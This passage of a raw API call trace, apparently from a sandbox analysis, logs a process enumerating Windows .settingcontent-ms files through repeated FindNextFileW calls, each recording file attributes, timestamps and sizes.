hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x489f3d9a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x489f3d9a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2328efd5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{1206f5f1-0569-412c-8fec-3204630dfb70}.settingcontent-ms", cAlternateFileName="CLC76D~1.SET")) returned 1 [0218.519] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a322aae, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4a322aae, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x230eb5fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{12BBBD91-8E16-4C3F-9715-16E5C8299244}.settingcontent-ms", cAlternateFileName="CL4E6D~1.SET")) returned 1 [0218.520] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b065ada, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4b065ada, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2211fcec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{141D98AD-3E07-4C44-A578-4DCA078286A4}.settingcontent-ms", cAlternateFileName="CL9DFE~1.SET")) returned 1 [0218.520] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b681c64, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4b681c64, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2241abe6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{14DEC75C-D6CE-44A9-8349-AD0F46EF96BE}.settingcontent-ms", cAlternateFileName="CLCCAE~1.SET")) returned 1 [0218.520] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c247585, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4c247585, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2211fcec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{16C327FA-D8A8-41C0-B022-64AC67715327}.settingcontent-ms", cAlternateFileName="CL59A5~1.SET")) returned 1 [0218.520] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa9af2b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4fa9af2b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{17cd9488-1228-4b2f-88ce-4298e93e0966}.settingcontent-ms", cAlternateFileName="CL69D2~1.SET")) returned 1 [0218.520] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbcc212, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4fbcc212, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23183f67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{1928DA28-C5A7-4F13-AF81-8238D57A793F}.settingcontent-ms", cAlternateFileName="CLD575~1.SET")) returned 1 [0218.521] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd95e93, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4fd95e93, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x221b864e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{1a4635ec-181d-45ae-b691-bc75bec02756}.settingcontent-ms", cAlternateFileName="CL41D9~1.SET")) returned 1 [0218.521] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ffabf0a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4ffabf0a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23078eee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{1A5712E4-AAD7-4717-B22A-CF0B8438E2E6}.settingcontent-ms", cAlternateFileName="CLBF51~1.SET")) returned 1 [0218.521] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50129729, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x50129729, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2222ad59, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{1BDB99DF-3832-49D6-9AE0-52105DB568DA}.settingcontent-ms", cAlternateFileName="CL9EA1~1.SET")) returned 1 [0218.521] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f532, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5071f532, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2211fcec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{1DD03EE3-FC46-456A-8632-B0717A9D497D}.settingcontent-ms", cAlternateFileName="CL9950~1.SET")) returned 1 [0218.521] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x541af130, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x541af130, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x22145f46, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{201CEF4B-7444-4B2F-B885-5E8F0AA1D614}.settingcontent-ms", cAlternateFileName="CL3A25~1.SET")) returned 1 [0218.522] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54c43715, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x54c43715, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23052c93, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{207D6BD2-A09B-406f-8A72-BC90C49FC152}.settingcontent-ms", cAlternateFileName="CL41C5~1.SET")) returned 1 [0218.522] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5525f6e8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5525f6e8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x220f9a95, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{21A5437E-D266-4F56-A146-06744A8BC071}.settingcontent-ms", cAlternateFileName="CL26FE~1.SET")) returned 1 [0218.524] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55be8dc3, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x55be8dc3, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2328efd5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{232A1851-808C-4B44-A92A-38E862989CE5}.settingcontent-ms", cAlternateFileName="CL589B~1.SET")) returned 1 [0218.524] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5758a234, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5758a234, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2216c19d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4be, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{29B87534-19A8-4A39-AA81-2148E7DE5894}.settingcontent-ms", cAlternateFileName="CLB8B3~1.SET")) returned 1 [0218.524] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x598b4d1c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x598b4d1c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224ffa05, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{2B6FE85A-C7AA-440F-B9A3-3F5EDCA3F6C2}.settingcontent-ms", cAlternateFileName="CL59E5~1.SET")) returned 1 [0218.524] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b33af3a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b33af3a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23078eee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{2D06D17B-2A5F-4835-AF30-6D2D58A4A66C}.settingcontent-ms", cAlternateFileName="CLAB0B~1.SET")) returned 1 [0218.525] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bad473f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5bad473f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2241abe6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{30137454-0E1F-43bb-9CB8-AEF452964B0B}.settingcontent-ms", cAlternateFileName="CL4A6D~1.SET")) returned 1 [0218.525] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5beb458c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5beb458c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23183f67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{31DD3DA1-ED44-4BA8-A67B-6EA93DEA77E7}.settingcontent-ms", cAlternateFileName="CL23A4~1.SET")) returned 1 [0218.525] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6c0410, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5c6c0410, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23052c93, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{33843DB0-24E7-4682-A019-5393D7F2BFFA}.settingcontent-ms", cAlternateFileName="CLC12E~1.SET")) returned 1 [0218.526] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d096033, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5d096033, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2311185c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{33F1F9B5-BD94-4D77-96AE-62F10E4A010A}.settingcontent-ms", cAlternateFileName="CL99CB~1.SET")) returned 1 [0218.526] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d1a1361, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5d1a1361, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2315dd0d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{36C8B34B-83F9-4704-B817-9AB1A723705A}.settingcontent-ms", cAlternateFileName="CLE5C9~1.SET")) returned 1 [0218.526] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60ab3475, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x60ab3475, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2311185c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{36fb1658-3a23-4d62-9bfd-37f4b18a85e9}.settingcontent-ms", cAlternateFileName="CLBA8C~1.SET")) returned 1 [0218.527] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b4beb0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x60b4beb0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2315dd0d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{37092408-D49C-451D-B56D-78B243DC475C}.settingcontent-ms", cAlternateFileName="CL96B1~1.SET")) returned 1 [0218.527] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60be49ea, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x60be49ea, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2230fb7c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{37C361D8-51CD-40fa-A797-8FC1EA28F9F4}.settingcontent-ms", cAlternateFileName="CLE328~1.SET")) returned 1 [0218.528] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60c7d237, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x60c7d237, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23078eee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{37E2F32E-C821-4094-B429-2B4E8EA810AA}.settingcontent-ms", cAlternateFileName="CL8E90~1.SET")) returned 1 [0218.528] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60d15c08, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x60d15c08, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x230eb5fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{38bd6d6e-bf78-4c31-b05a-7447ee37669f}.settingcontent-ms", cAlternateFileName="CL7C18~1.SET")) returned 1 [0218.529] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60dae306, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x60dae306, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224ffa05, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{3911D4F8-AD61-4911-A151-5682C26A7427}.settingcontent-ms", cAlternateFileName="CL7B4E~1.SET")) returned 1 [0218.529] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e46d18, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x60e46d18, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224ffa05, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{3A100872-EC27-46A5-BBCC-92C90635AE3B}.settingcontent-ms", cAlternateFileName="CL6DB0~1.SET")) returned 1 [0218.530] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f0586b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x60f0586b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23183f67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{3A4140C8-50D3-44E9-BF50-C878204DE0F5}.settingcontent-ms", cAlternateFileName="CL0455~1.SET")) returned 1 [0218.530] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e0429f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x62e0429f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23052c93, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{3F0AD6DB-3246-48E4-ACD7-696FF62AE68D}.settingcontent-ms", cAlternateFileName="CLE345~1.SET")) returned 1 [0218.531] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ad4cf3, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x63ad4cf3, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2311185c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{4026492f-2f69-46b8-b9bf-5654fc07e423}.settingcontent-ms", cAlternateFileName="CL79AA~1.SET")) returned 1 [0218.532] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63dcfadc, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x63dcfadc, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2211fcec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{40419485-c444-4567-851a-2dd7bfa1684d}.settingcontent-ms", cAlternateFileName="CLA493~1.SET")) returned 1 [0218.532] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x643531f5, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x643531f5, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x222c36c3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{420C524A-2A76-43F7-B1B2-C3CF736557C7}.settingcontent-ms", cAlternateFileName="CL5165~1.SET")) returned 1 [0218.532] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66788e59, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x66788e59, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x230eb5fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{4228F99D-227F-4058-9EA3-BB2B616D7444}.settingcontent-ms", cAlternateFileName="CLA394~1.SET")) returned 1 [0218.532] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6743373f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6743373f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23078eee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{45FDB5DF-1457-4A41-A824-7AD9C75767BC}.settingcontent-ms", cAlternateFileName="CLCA0C~1.SET")) returned 1 [0218.533] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6777a9f8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6777a9f8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{4A2F952E-0618-467F-ADC5-FEBB66AEB82F}.settingcontent-ms", cAlternateFileName="CLF20A~1.SET")) returned 1 [0218.533] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f606bf, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x67f606bf, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23078eee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{4BCD16D0-BA72-4F0D-88F9-50D912BFA2B2}.settingcontent-ms", cAlternateFileName="CLED2B~1.SET")) returned 1 [0218.533] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68687798, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x68687798, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23137ab2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{50DF4F13-4188-49C3-B2FB-A76404DC0ACF}.settingcontent-ms", cAlternateFileName="CL20E9~1.SET")) returned 1 [0218.534] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2e0e98, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6c2e0e98, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x230c53a3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{5163E94E-4C07-420B-B173-320232B8AFB7}.settingcontent-ms", cAlternateFileName="CLCE03~1.SET")) returned 1 [0218.534] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9230ef, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x6c9230ef, ftLastAccessTime.dwHighDateTime=0x1d70074, 